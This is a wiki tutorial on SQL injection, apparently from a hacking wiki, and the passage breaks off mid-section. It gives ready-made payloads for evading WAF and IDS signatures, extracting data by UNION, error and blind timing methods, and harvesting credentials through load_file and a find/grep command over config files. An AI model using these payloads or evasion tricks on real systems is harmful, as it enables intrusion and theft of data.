View source for SQL injection

'''[[SQL]] injection''' is a method of [[Web Exploitation|exploiting web applications]] performed over [[HTTP|'''http''' or '''https''']] to compromise the underlying [[Databasing engine|database engine]] supporting dynamic content for the [[Web applications|web application]] itself.  Successful exploitation of an [[SQL]] injection [[Vulnerability|vulnerability]] can result in the attacker gaining unfettered access to the [[Database|database]] and can lead to further [[Privilege escalation|privilege escalation]].

'''Typically, databases include things like (but not limited to):'''
* [[Authentication credential]]s
* Other identifying information about a user (like an [[IP address]])
* Site configurations 
* Site content and themes
* Communications between users within the site

{{prereq|[[SQL]] and [[SQL Orientation|manipulation of SQL data]]}}
{{info|<i>This page will be updated relatively frequently, if it does not have the answer to your question, try the [[IRC]], or check back later. In the [[IRC]], we'll do our best to help you find the solution. Also, if you see missing things you'd like to contribute, don't hesitate to contact us.</i>}}

<font size="-2">Special thanks to [[User:hatter|hatter]] for his contributions to this article.</font>
= Cause(s) of [[Vulnerability|vulnerabilities]] =
{{:SQL_injection/Cause}}

= Potential target environments =
{{:SQL injection/Target Environments}}

= Modern day SQL injection obstacles and countermeasures =
{{:SQL_injection/Countermeasures}}

= Basic remote tests for SQL injection vulnerabilities =
{{:SQL_injection/Basics}}

=Bypassing modern SQL injection security measures=
{{info|<i>Simply triggering an [[IPS]] or '''WAF''' and having the request blocked under only certain conditions '''does not confirm the vulnerability of the page.</i>'''}}
To exploit or even test [[web applications]] in the modern world, [[IDS|countermeasures]] that are in place would need to be recognized and defeated.
A '''WAF''' is probably in the way if the following things are being experienced:

* Having the connection to the server reset '''ONLY''' when testing the site for vulnerabilities
* 403 Forbidden responses '''ONLY''' when testing the site for vulnerabilities
* Being blocked by the remote firewall after a '''repeatable number''' of injection attempts

Many [[IDS]] and <u>WAF</u> systems can be easily evaded by either:

* <i>Simply using '''SSL''' or '''HTTPS'''</i>
* <i>Using a de-syncronization attack like '''session-splicing''' when '''SSL''' is not an option.</i>

==Basic signature evasion==
Signature evasion is very similar to [[#Defeating_partial_sanitizing|evading partial sanitizing]].  Instead of modifying the characters, an [[IPS]] drops traffic if the characters appear in a particular sequence in order to match a pattern.  By discovering that sequence, adjustments can be made to the queries to [[IDS Evasion|evade]] the [[IPS]] or '''WAF''' in the way of the testing.
Many web application firewalls will recognize the "1=1" test simply due to its popularity.  Other queries that are very similar may also be noticed.  Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.
===Whitespace placement===
Take note of the whitespace around the '''=''' operator.  If there is none, try adding a space.  If there is a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. Lopsided, missing, or extra whitespace may be found that can bypass signature-based analysis engines.
  %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%201 ('''TRUE''')
  %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%200 ('''FALSE''')
===Integer and string size delimiters===
Because there is usually a size delimiter or a maximum size to the integer, the size to stop detection can be exceeded.  Ten digit random numbers, instead of the single digit predictable numbers might do the trick.
  %20and%402837649781237849=402837649781237849 ('''TRUE''')
  %20and%201789236419872364=128756128398671289 ('''FALSE''')
===Switching up the data types===
If integers are proving a hard time, the signature may be tuned too specifically to integers.  Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature.
  %20and%205.8=5.8      ('''TRUE''')
  %20and%200.2=0.3      ('''FALSE''')
===Arithmetic tests===
Instead of comparing a value like "1=1", compare mathematical expressions.  Mathematical expressions may be the key to bypassing the problem if there are still problems with signature detection.
  %20and%201.2+3=4.2    ('''TRUE''')
  %20and%200.2-1=0      ('''FALSE''')
===Capitalization===
If there are still problems <i>during testing</i>, this probably isn't the issue.  Try changing the case of the letters making up the boolean operator ('''and''' to '''AnD''' and '''or''' to '''oR''').

===Extending conditional statements===
Many [[IDS]] signatures will look for a boolean operator ("'''and'''" or "'''or'''") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id&#x3d;1 and 1&#x3d;1, there are two conditions there).

* Using '''IF''' for MySQL injection:
The syntax for the '''IF''' statement in MySQL is:
{{code|text=<source lang="sql">if([condition],[value to return if true],[else return value])</source>}}
  %20and%20if(10829361=10829361,1,0)  ('''TRUE''')
  %20and%20if(98276232=72619126,1,0)  ('''FALSE''')

Any combination of the above techniques can be used in conjunction with one another as long as the queries still return true and false.

==Defeating partial sanitizing==
If an attempt is made to bypass the sanitizing by breaking the [[#Patching_SQL_Injection_Vulnerabilities|sanitizing method]], there will most likely be trouble. Instead,  bypass the sanitizing by crafting queries that do not require [[Sanitize|sanitized characters]].

===Quotes===

MySQL and certain versions of Microsoft SQL allow for string literals to be passed in [[Assembly_Basics#Binary_.26_Hexadecimal|hexadecimal]] format.:
  '''select 'abc';'''
  <i>...is equivalent to...</i>
  '''select 0x616263;'''.
  Additionally, '''PostgreSQL''' allows the use of two dollar signs as string delimiters
  '''select $$abc$$;'''
<i>Therefore,  0x616263 can be used in place of 'abc'.  This will come in handy while exploiting a <u>WHERE</u> clause and not being able to use quotes.</i>}}

'''String concatenation can avoid the use of quotes the use of quotes in:'''
* <i>MySQL:</i>
  <u>Using the '''char()''' function to construct the string ''''abc''''</u>:
  '''select char(97,98,99);'''
  '''-&gt;'''<i>Similar to the hex example, '''char(97,98,99)''' can be used interchangeably with the string ''''abc''''.</i>
* <i>PostgreSQL:</i>
  <u>Using the '''chr()''' function and '''double-pipe concatenation''' operator</u>:
  '''select chr(97)&#x7c;&#x7c;chr(98)&#x7c;&#x7c;chr(99);'''
  '''-&gt;'''<i>Similar to the above example, '''chr(97)&#x7c;&#x7c;chr(98)&#x7c;&#x7c;chr(99)''' can be used interchangeably with the string ''''abc''''.</i>
* <i>Microsoft SQL Server:</i>
  <u>Using the '''char()''' function and '''plus''' operator</u>:
  '''select char(97)+char(98)+char(99);'''
  '''-&gt;'''<i>Similar to the other examples, '''char(97)+char(98)+char(99)''' can be used interchangeably with the string ''''abc''''.</i>

=== Whitespace filtering ===
Filtering can be bypassed on the space character by using alternative whitespace characters to the '''space''' character (%20).  Most [[SQL]] engines consider a line return (%0a in a *NIX environment, %0a%0d in a Windows environment), tab characters, or the '''+''' character as valid whitespace:
  and%0a1&#x3d;1
  and%0a1&#x3d;0
  and+1&#x3d;1
  and+1&#x3d;0
<i>[[MySQL]] treats block comments as whitespace.</i>
{{code|text=<source lang="sql">and/*comment1*/1/*comment2*/=/*comment3*/1
and/*comment1*/1/*comment2*/=/*comment3*/0</source>}}

==Bypassing XSS filters during SQL injection==
If [[XSS]] filtering is encountered, chances are the standard comparison operators (&#x3d;, &lt;,&gt;) are being filtered out.  If this is the case, '''alternative comparison operators'' will need to be used':
{{code|text=
* '''[VALUE] BETWEEN ... AND ...'''
* '''[VALUE] REGEXP [PATTERN]''' - <i>MySQL</i>
* '''[VALUE] RLIKE [PATTERN]''' - <i>MS SQL</i>
* '''[VALUE] ~ [PATTERN]''' - <i>PostgreSQL</i>
}}

===Testing with BETWEEN===

The between operator is universal across all [[SQL]] platforms with the same syntax, and as a result is a more reliable testing method.
* <i>The between comparison operator will return true or false based on whether or not the preceding value is between a ceiling and a floor in a range.  For example, 50 is between 0 and 100, but 300 is not, which safely avoids using the '''&#x3d;''' operator in the query:</i>
  and%2050%20between%200%20and%20100   ('''True''')
  and%20300%20between%200%20and%20100  ('''False''')
* <i>This turns the query into something like:</i>
  select * from articles where id&#x3d;1 and 50 between 0 and 100
  select * from articles where id&#x3d;1 and 300 between 0 and 100

The '''between''' operator can also be used on strings:
  and%20'c'%20between%20'a'%20and%20'm ('''True''')
  and%20'z'%20between%20'a'%20and%20'm ('''False''')

===Testing with Regular Expression Operators (<i>REGEXP, ~, and RLIKE</i>)===

* <i>Different [[database]] engines have different operators for Regular Expressions:</i>

'''MySQL''' uses the '''REGEXP''' operator.

'''PostgreSQL''' uses the '''~''' operator.

'''MS SQL''' uses the '''RLIKE''' operator.

<i>Regular expressions are the most evasive method for remote [[SQL]] injection possible, as they lack many of the common syntax characters necessary for [[types of web exploitation|other forms of injection]].</i>

<i>The following tests contruct strings using native string constructors to bypass any requirement for quotes.  For more information regarding this, please see the entry on '''[[sql injection without quotes]]'''.</i>
{{code|text=Below are either [[Ascii_shellcode|hexadecimal character codes]] or ascii code equivilent characters being translated into a string by the [[SQL]] server.  Understanding is required in order to become proficient in [[SQL]] injection.</i>

* '''<u>[[MySQL]] testing</u>:'''{{code|text=
  '''True:'''  <source lang="sql">and 0x2e regexp 0x2e</source>
  '''False:''' <source lang="sql">and 0x6a regexp 0x7a</source>
}}
* '''<u>PostgreSQL testing</u>:'''{{code|text=
  '''True:'''  <source lang="sql">and chr(97) ~ chr(97)</source>
  '''False:''' <source lang="sql">and chr(98) ~ chr(99)</source>
}}
* '''<u>MS SQL testing</u>:'''{{code|text=
  '''True:'''  <source lang="sql">and char(97) rlike char(97)</source>
  '''False:''' <source lang="sql">and char(104) rlike char(64)</source>
}} }}

=Intermediate SQL injection=
There are various methods for exploiting various databasing engines, including [[MySQL]], PostgreSQL and Microsoft SQL server.  Different engines may require [[#Functions_.26_Environment_Variables|different function names, environment variables, or syntax nuances]] for proper effectiveness.

Example testing is not included for [[SQL_Orientation#UPDATE_-_Modify_rows_in_a_table|'''UPDATE''']] or [[SQL_Orientation#INSERT_-_Add_rows_to_a_table|'''INSERT''']] queries using '''subqueries'''.  In those cases, it is best to escape the argument, use a comma delimiter, and testing using integers until the right number of columns is found.  Then substitute column values for insert and delete using '''subqueries''' that return a single cell rather than a single [[byte]], similar to [[#Expert:_Automated_Single-byte_exfiltration|single-byte exfiltration]]

=== Automation theory ===
The most important thing when automating [[SQL]] injection is recognizing boundaries.
{{code|text=
Loop Delimeters:
* Length of single cell strings (length sql functions)
{{code|text=<source lang="sql">
select length(user())
select char_length(user())
select len(user())</source>}}
* Number of rows returned by a query (count sql functions)
{{code|text=<source lang="sql">
select count(column_name) from information_schema.columns where table_name=[table_name] and table_schema=[database]
</source>}}
Obtaining data types:
* Data types of single cells (type from information_schema.columns)
{{code|text=<source lang="sql">select column_type from information_schema.columns where table_name=[table_name] and column_name=[column_name] and table_schema=[database]</source>}}{{protip|It is a good idea to use order by every time injection occurs in case results are not constant due to '''where''' clause restraints.}}
}}


Sometimes integer values won't be able to be selected when using error-based injection.  There's more than one way to solve this.{{code|text=
* Predefined scope
Use ORDER by to find the upper most row and lower most row of the results set.  It can be stopped by starting at an element on one end and then keeping the order by clause intact, incrementing the offset; it will stop when it has reached the value on the other end of the table.
<source lang="php">
    $stop_value  = "select id from table order by id desc limit 1 offset 0";
    $start_query = "select id from table order by id asc limit 1 offset 0";
</source>
In the loop:
<source lang="php">
    $loop_query = "select id from table order by id asc limit 1 offset $counter";
</source>
<i>When the value returned by $loop_query equals the value from $stop_query, terminate the loop.</i>

* Cast and concatenate
attempt to string concatenate a character to the integer to throw an error.}}


Here are a few variables to be aware of while writing automated exploit software.{{code|text=
'''Counters''':
* Row Counter
* Byte Index Counter
'''Temporary Variables''':
* Length of current target cell
* Number of rows in current target table
'''[[SQL]] Dialect Variables''':
* Sanitized Syntax Characters
* Whitespace character(s)
* String concatenation operator
* Comment syntax}}

== Basic Injection : Union Select ==
* The '''UNION''' operator allows collection of the output of two SELECT statments with '''UNION ALL SELECT''' or '''UNION SELECT''' so long as the results have the
same number of columns:
{{code|text=<source lang="sql">SELECT column FROM table UNION ALL SELECT column</source>}}

=== Determining the number of columns ===
The number of columns can be determined using ORDER BY injection and incrementing a field index, for example:
  /article.php?id&#x3d;1 ORDER BY 1 asc
  /article.php?id&#x3d;1 ORDER BY 2 asc
{{notice|
* When the page no longer displays, a boundary has been hit.  The largest number in the order by clause that still allows the page to display properly is the number of columns.}}


=== Extracting data === 

If the number of columns is known in a table (for example, by using the ORDER BY injection technique), the following injection can be used assuming that there are 2 columns:
  /article.php?id&#x3d;5 UNION ALL SELECT 1,2/*
{{protip|Sometimes UNION ALL SELECT will not work, but UNION SELECT will, and vice versa.  This has to do with the [[SQL]] engine and [[Vulnerability|vulnerable]] [[web applications|web application]]'s programming or [[SQL]] queries.  Additionally, an invalid ID may be set(e.g. -1) to get the data the UNION SELECT returns to display on the page.}}{{code|text=
* '''This generates the following query:'''
  {{code|text=<source lang="sql">SELECT * FROM ARTICLES WHERE id=5 UNION ALL SELECT 1,2/*</source>}}{{notice|This selects every entry where both id&#x3d;5 and where column &#x3d; 1 or 2.  If the number 1 or 2 was outputted, UNION would be demonstrated to work.  If 2 was output, it is known that the [[web applications|application]]'s programming displays the second column on the page. (This could be any column, really.)}}
* '''An example of SQL injection using union select to obtain the [[SQL]] version:'''
  /article.php?id&#x3d;-1 UNION ALL SELECT 1,version()/*
<i>The version information should now be displayed in the area where the number `2' originally displayed.</i>

* '''Once we know this, obtaining data is as simple as setting up the query as a simple select:'''
  /article.php?id&#x3d;-1 UNION ALL SELECT 1,table_name from information_schema.tables where table_schema&#x3d;database() limit 1/*
<i>In this case, the first table name in the current database should be displayed in stead of the version information. </i>

* '''This particular injection appears at first glance to be limited to a single entry (unless more columns are available for display), but in truth one can use the string concatenation functions or operators (<i>+, &#x7c;&#x7c;, concat(), group_concat()</i>, etc) to display the contents of several columns and/or rows as a single string:'''
  /article.php?id&#x3d;-1 UNION ALL SELECT 1,group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema&#x3d;database()/*

* '''Which would format a map of a MySQL database in the format:'''
 {{code|text=<source lang="sql"> table1.column1, table1.column2, table2.column1</source>}}
<i>The amount of data that can be returned returned by the '''group_concat()''' function is set by a session environment variable.</i>
}}




==Intermediate testing: "SELECT" ... LIMIT clause injections==
{{protip|<i>Microsoft SQL Server does not feature this classification of vulnerability due to its lack of a '''LIMIT''' clause, however similar techniques to the '''LIMIT''' clause attack will work on it as well as other database engines:</i>{{code|text=
* '''GROUP BY''' clause injection
* '''ORDER BY''' clause injection
}} }}
<center>To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause that is being injected into.  The following example '''URI''' will be used:</center>
  <i>/view_results.php?start&#x3d;30&perpage&#x3d;10</i>
{{info|A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows.  On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax:
{{code|text=<source lang="sql">LIMIT $perpage OFFSET $start</source>}} }}{{info|On older versions of MySQL, the '''offset''' operator was not supported.  In those cases the older syntax will be used:
{{code|text=<source lang="sql">LIMIT $start,$perpage</source>}}
}}
* Because the input is located at either $start or $perpage in a LIMIT clause, it can be deduced that:
  '''UNION SELECT''' is the only available method for successful exploitation.
  The rest of the query will have to be commented out for successful exploitation.

* In order to access '''UNION SELECT''' if there are data limitations:
  The '''LIMIT''' clause must be given an impossible starting offset so that no data will be displayed,
  making room for data returned by the '''UNION SELECT'''.  The offset will have to be a larger number
  than the number of rows returned by the query.


== Intermediate injection: information retrieval via verbose errors ==
<i>This technique relies on the following database and application characteristics:</i>
* <i>Sometimes databases display errors containing selected data even though union select is not an option.</i>
* <i>Sometimes the [[web applications|application]] will display [[SQL]] errors on the page.</i>
{{protip|'''<i>There are two ways to cause errors that contain data:</i>'''
* '''An impossible cast'''
* '''A duplicate key in a group by statement'''
}}When a [[web applications|web application]] displays its [[SQL]] errors, there's a few things that can be done to make errors display data along with them.  In each of the examples below, the '''@@database''' variable or '''current_database()/database()''' functions return what can be seen for error output.  '''<i>These can be replaced with any subquery'd select statement that returns a single cell.</i>'''{{code|text=
* '''MSSQL:'''<source lang="sql">
  and 1=CAST(@@database AS Int)--</source><source lang="sql">
  and 1=convert(int,@@database)--
</source>

* '''MySQL:'''<source lang="sql">
  and 1=2 or row(1,1) > (select count(*),concat(database(),0x3a,floor(rand()*2) ) x from (select 1 union select 2) a group by x limit 0,1)
</source>

* '''PostgreSQL:'''<source lang="sql">
  and 3=5 or (select cast(current_database() as numeric)) = (select current_user())
</source>}}

= Advanced: manual [[Boolean_enumeration|boolean enumeration]] =
:'''''Related tool:''' [[mysqli-blindutils]] &gt; [[sqli-p.pl]]''
<i>'''Boolean enumeration is the process of using conditional statements (true and false, just like the testing methodology) to determine the value of a [[byte]].'''</i>{{code|text=
* The maximum value of any byte is 255 and the minumum is 0. 
* There are 8 '''bits''' in one byte
* A bit can be 1 or 0 (True or False)
<i>'''Therefore, logic dictates that,'''</i>
* By asking no more than 8 true/false questions, one should be able to determine the value of a byte.
}}'''<i>There are primarily two methods to using boolean enumeration.  One involves selecting a byte from a single-cell of a database and testing for true or false against its character or ascii code, the other involves selecting a single-cell and comparing it with a regular expression.</i>'''{{code|text=
* '''<i>Fortunately, universal operators and universal functions include:</i>'''
  BETWEEN ... AND ...    &#x7c;   Operator
  &#x3d; &lt; &gt;                  &#x7c;   Operators
  substring()            &#x7c;   Function
  ascii()                &#x7c;   Function
'''This assists with crafting uniform queries that affect ALL sql dialects.'''
}}{{protip|Basic enumeration using standard operators is possible, although usually filtered by one of [[#Modern_day_SQL_Injection_Obstacles_and_Countermeasures|today's many obstacles to injection attacks]], so [[#Testing_with_BETWEEN|BETWEEN operator]] will be used for demonstration purposes instead.}}
{{code|text=
'''In order to ensure that data integrity is maintained:'''
* <i>Always use a LIMIT on select statements in subqueries</i>
* <i>Always use ORDER BY on select statements in subqueries, and keep the column name the same.</i>}}


===Using Ascii codes and the ascii() function for enumeration===
The ascii() function on any given database engine will return the ascii code for the the character passed to it.  If it is passed an entire string, it will return the ascii code for the first character.  For example:
  {{code|text=<source lang="sql"> select ascii('a');
  +------------+
  | ascii('a') |
  +------------+
  |         97 |
  +------------+
  1 row in set (0.00 sec)</source>
}}
====substring()====
'''Using substring() to select a single byte:'''
* The '''substring()''' syntax is:{{code|text=<source lang="sql">substring([STRING],[POSITION],[LEN])</source>}}
* <i>To select the first character of a string, for example:</i>{{code|text=<source lang="sql"> select substring('abc',1,1);
  +----------------------+
  | substring('abc',1,1) |
  +----------------------+
  | a                    |
  +----------------------+
  1 row in set (0.00 sec)
</source>}}
* <i>To select the second character:</i>
{{code|text=<source lang="sql"> select substring('abc',2,1);
  +----------------------+
  | substring('abc',2,1) |
  +----------------------+
  | b                    |
  +----------------------+
  1 row in set (0.01 sec)
 </source>}}{{protip|'''<i>The upper() and lower() functions can be used to convert results to all uppercase or all lowercase.  This will remove a set of ascii characters from possible values during testing.</i>'''
}}
====Version fingerprinting with ascii-based enumeration====
  While boolean enumeration can be used to obtain any type of data, version fingerprinting will be used as the example.
=====In theory=====
<i>For the examples, '''version()''' function will be used.</i>
{{protip|If the '''version()''' function fails, try the '''@@version''' environment variable instead.}}
* The ascii code of the first character of the version string can be accessed by calling:
  '''ascii(substring(lower(version()),1,1))'''
* <i>On '''PostgreSQL''', the first character of version() is 'P'.  Since converting it to lowercase, the ascii value of 'p' is 112.</i>{{code|text=<source lang="sql">  postgres=# select ascii(substring(lower(version()),1,1));
   ascii 
  -------
     112
  (1 row)</source>}}
* <i>On '''MySQL''', the first character of version() is numeric.  On the local example, the first character is '5'.</i>{{code|text=<source lang="sql"> mysql> select ascii(substring(lower(version()),1,1));
  +----------------------------------------+
  | ascii(substring(lower(version()),1,1)) |
  +----------------------------------------+
  |                                     53 |
  +----------------------------------------+
  1 row in set (0.00 sec)</source>}}

=====In Practice=====
These queries work on MS SQL as well, an MS SQL server was not available during the writing of this article for demonstration.  The same syntax, except using the @@version environment variable applies.{{code|text=
* <i>Using the '''between ... and ...''' comparison statements, the value can be isolated:</i>
  /vulnerable.ext?id&#x3d;1 and ascii(substring(lower(version()),1,1)) between 0 and 127
  /vulnerable.ext?id&#x3d;1 and ascii(substring(lower(version()),1,1)) between 128 and 255

* <i>The range delimiters can be adjusted on the '''between''' statement while it returns true until both parameters are equal.  When both parameters are equal and the query returns true, the value of the byte is found:</i>
{{code|text=<source lang="sql">select * from sample where id=1 and ascii(substring(lower(version()),1,1)) between 53 and 53;
  +----+---------------------+
  | id | sample_text         |
  +----+---------------------+
  |  1 | this is sample text |
  +----+---------------------+
  1 row in set (0.01 sec)</source>}}
* <i>Following identification of the first byte, one can move from the first to the second by changing:</i>{{code|text='''FROM:'''<source lang="sql">     ascii(substring(lower(version()),1,1))</source>         
'''TO:'''<source lang="sql">     ascii(substring(lower(version()),2,1))</source>}}
}}


===Using Regular Expressions for [[Boolean enumeration]]===
Regular expressions is by far the best solution to filtering and sanitizing.{{code|text=
* MySQL's '''REGEXP''' operator is case insensitive.
* PostgreSQL's '''~''' operator is case sensitive.
}}

====Getting started with regular expressions====
<i>Regexp allows comparative analysis of a single byte from a string with a list, similar to '''between ... and ...''' injection.</i>{{code|text=
'''Patterns''':
* Special characters:
  ^   The beginning of a string
  $   End of a string
  .   Any character
  *   0 or more of the preceeding character
  +   1 or more of the preceeding character
  ?   0 or 1 of the preceeding character
{{protip|<i>'''To see if a string starts with a particular letter (using the letter '''z''' for the example), the regular expression pattern '^z' can be used.  This will ONLY match if the first character of the string is a 'z'.'''</i>}}'''Ranges and lists''':
* A range or list can be specified inside of square brackets ('''[''' and ''']''').  Ranges can include letters and numbers, while lists are specified characters.
   <u>Pattern &#x7c; Description</u>
   [a-z]   &#x7c; Matches only letters '''a''' through '''z'''
   [0-9]   &#x7c; Matches only numbers
  [aeiouy] &#x7c; Matches vowels.
  ^a[0-9]  &#x7c; Matches if the first character of the string is `a', only if the second character of the string is a number.
}}


====Version fingerprinting using compatible regular expressions====
{{protip|'''Regular expressions are portable.'''}}  <i>MS SQL and MySQL now both have the '''RLIKE''' regular expression operator.</i>{{code|text=
* <i>'''Version enumeration on MySQL and MS SQL:'''</i>
<source lang="sql">  and version() rlike '^[0-4]'        -- This will match if the first character of the version is between 0 and 4
  and version() rlike '^[5-9]'        -- This will match if the first character of the version is between 5 and 9</source>
* <i>'''Because PostgreSQL's version() string always starts with 'P' for "PostgreSQL":'''</i>
<source lang="sql">  and lower(version()) ~ '^[a-z]'   -- Should ALWAYS return true
  and upper(version()) ~ '^[a-z]'   -- Should NEVER return true</source>}}
* Adjust the ranges to hone in on the value of the byte.

= Expert: Timing attacks for automated boolean enumeration =

Timing attacks generally fall under two categories:{{code|text=
* [[#Advanced:_Manual_Boolean_Enumeration|Boolean enumeration]]
* [[#Expert:_Automated_Single-byte_exfiltration|Single byte exfiltration]]


* <i>Timing attacks are typically used by automated software due to the difficulty in reliably determining true/false from data being displayed on the page.</i>}}

==MySQL boolean timing attacks==

Mysql's primary functions that can time delay are sleep() and benchmark().  Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query.

===benchmark() and related issues===

{{warning|'''<i>Benchmark() may betray the activities</i>'''}}
{{code|text=
* <i>'''Benchmark()''' is the '''rudest''' (and '''slowest''' and '''least reliable''') method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive.  Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption; even if he never finds the attack, he'll be called.  <u>For this reason we have minimal coverage of the benchmark() function and recommend using a '''sleep()''' function call instead.</u></i>}}

===Evasive sleep() based boolean enumeration with regular expressions===

Some information about the environment:'''{{code|text=
* For testing purposes we've installed MySQL 5.1 locally and created a table called sample:
{{code|text=<source lang="sql">
  mysql> select version();
  +-----------------+
  | version()       |
  +-----------------+
  | 5.1.58-log      |
  +-----------------+
  1 row in set (0.00 sec)</source>}}
* We've inserted a row of sample data to mimick where clause injection:
{{code|text=<source lang="sql">
  mysql> select * from sample where id=1;
  +----+---------------------+
  | id | sample_text         |
  +----+---------------------+
  |  1 | this is sample text |
  +----+---------------------+
  1 row in set (0.00 sec)</source>}}
}}

===='''Testing for the ability to sleep():'''====
<i>It is very simple to test for access to the sleep() function</i>''':{{code|text=
* Sleep for 15 seconds:
  %20and%20sleep(15)
<source lang="sql">  mysql> select * from sample where id=1 and sleep(15);</source>
  Empty set ('''15.00 sec''')



===='''Controlling sleep() for enumeration:'''====
'''Using cast() to gain control of sleep() with regex:'''{{code|text=
* Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds.  It should take the page less than that to load normally.  This can be used in conjunction with a timer when automating sql injection.  As noted above in the general boolean enumeration section, because evasion of modern IDS systems is desired, the best option is the REGEXP operator because of its lack of need for quotes,commas, or standard comparison operators ('''&lt;''', '''&#x3d;''', '''&gt;''')

* If the input for the id is vulnerable, the best method to exploit sleep() is by using the REGEXP operator in combination with the CAST() function.  REGEXP always returns 1 or 0 based on whether or not there was a match.  '''1''' for matching and '''0''' for no match found.  By casting its return to a '''signed integer''' and using a '''multiplication''' test, it's output can be controlled for combination with the sleep command:
<source lang="sql">  mysql> select * from sample where id=1 and sleep(cast((select 'a' regexp '^[n-z]') as signed) * 15);</source>
  Empty set ('''0.00 sec''')

<source lang="sql">  mysql> select * from sample where id=1 and sleep(cast((select 'x' regexp '^[n-z]') as signed) * 15);</source>
  Empty set ('''15.00 sec''')
}}* '''<i>Now false sleeping occurs for zero seconds and true sleeping for 15 seconds.</i>'''}}

===='''Using sleep() to map a table name with regular expressions'''====
{{protip|<i>'''[[#Advanced:_Using_Regex|Regular expressions]] in mysql don't need quotes, it is interchangeable with [[#Quotes|0x'''hex''']]!'''</i>}}
{| class="wikitable" width="100%"
|
<source lang="sql">  mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
  +------------+
  | table_name |
  +------------+
  | sample     |
  +------------+
  1 row in set (0.00 sec)</source>
* The first letter of "sample" is '''s''', it isn't between '''a''' and '''m''', therefore it won't sleep at all when testing to see if it is:
<source lang="sql">  mysql> select * from sample where id=1 and sleep((select cast(
           (select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[a-m]')
         as signed) * 15));</source>
:Empty set ('''0.00 sec''')

* However, when tested to see if it's between n-z, because '''s''' is between '''n''' and '''z''' the return output from '''REGEXP''' is multiplied and becomes '''15''', which is passed to the '''sleep()''' function:
<source lang="sql">  mysql> select * from sample where id=1 and sleep((select cast(
           (select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[n-z]')
         as signed) * 15));</source>
:Empty set ('''15.00 sec''')

* So, an injection URI that utilizes sleep(), cast(), and '''multiplication''' can be used remotely in cases of unpredictable output and without the need for quotes, commas, comment notation, or standard comparison operators ('''&lt;, &#x3d;, &gt;''') to test if the first character of the first table in the database is between '''a''' and '''m''' would look like:
:/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e612d6d) as signed) * 15));

* However the n-z would look like:
:/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e6e2d7a) as signed) * 15));
|}

==PostgreSQL Boolean Timing Attacks==
  '''pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.'''

===Testing for access to pg_sleep()===

<i>'''Testing for access to pg_sleep() occurs with:'''</i>{{code|text=
<source lang="sql">   and pg_sleep(15) is null</source>
* It '''should''' take an additional 15 seconds to load the page.
}}

===Using pg_sleep() with alternative comparisons for evasive boolean enumeration===

:''BETWEEN ... AND ... can be used as well as the regular expression operators here.''

'''Sleeping on true and not sleeping on false:''''''Similar to mysql, the database will sleep when pg_sleep([int]) is selected .'''
* Using '''CASE''' to control pg_sleep with '''BETWEEN'''...'''AND''':
<source lang="sql">   and (case when 1 between 1 and 1 then pg_sleep(15) else 9 end) is null</source>
* <i>'''If the input is vulnerable, the database will sleep for 15 seconds.</i>'''
* <i>'''True statements will sleep, false statements will not sleep.</i>'''
'''ascii() can be used between similar to standard PostgreSQL Boolean Enumeration here, '''
* True Injection:
<source lang="sql">   and (case when ascii(substring(version(),1,1)) between 1 and 255 then pg_sleep(5) else 98923 end) is null</source>
* False Injection:
<source lang="sql">   and (case when ascii(substring(version(),1,1)) between 1 and 1 then pg_sleep(5) else 23265 end) is null</source>


'''Using CASE with the ~ regular expression operator and string concatenation''':
Notice that like MySQL regular expression attacks, this attack also bypasses the need for several syntax characters.


The following will sleep for 15 seconds if the lowercase format of the version string matches '''"^[a-z]"''', the same as the '''<source lang="sql">  (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93))</source>'''
* '''<i>This should always be true, delaying the page load for an additional 15 seconds:</i>'''
<source lang="sql">   and (case when lower(version()) ~ (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) then pg_sleep(15) else null end) is null</source>
* '''<i>This should always be false, as PostgreSQL always capitalizes the first character, meaning no time delay should take place:</i>'''
<source lang="sql">   and (case when version() ~ (select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) then pg_sleep(15) else null end) is null</source>

= Expert: Automated Blind Extraction =

{{:SQL injection/Blind/Extraction}}

=Further penetration=

:''Most demonstrated methods require additional privileges''

=== Obtaining direct database access===

<i>'''<center>Requires a privileged [[user]] or valid [[privilege escalation]]</center>'''</i> 
There are several methods for obtaining direct [[database]] access so that log in can occur remotely.  
* See the '''Privileged''' query cheat sheets for queries to directly obtain database credentials using [[SQL]] injection
* Obtaining [[authentication credential]]s from the web application configuration file by [[#Obtaining_filesystem_access|accessing the filesystem]]
:{{code|text=<source lang="sql">  select load_file('/path/to/config.php');</source>}}
* After escalating privileges to administrator of the web application using its administrative interface to run queries directly find the [[authentication credential]]s in the configuration file with a file editor 

Obtaining [[authentication credential]]s from the [[web applications|web application]]'s configuration file using [[#Obtaining_Code_Execution|code-execution]] after [[privilege escalation]]
{{LinuxCMD|find -name \*conf\*.php -exec grep -iHn "user\&#x7c;name\&#x7c;pass\&#x7c;host" '{}' \;}}

=== Obtaining filesystem access ===

'''This will require '''[[MySQL]]''', depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.'''{{code|text=
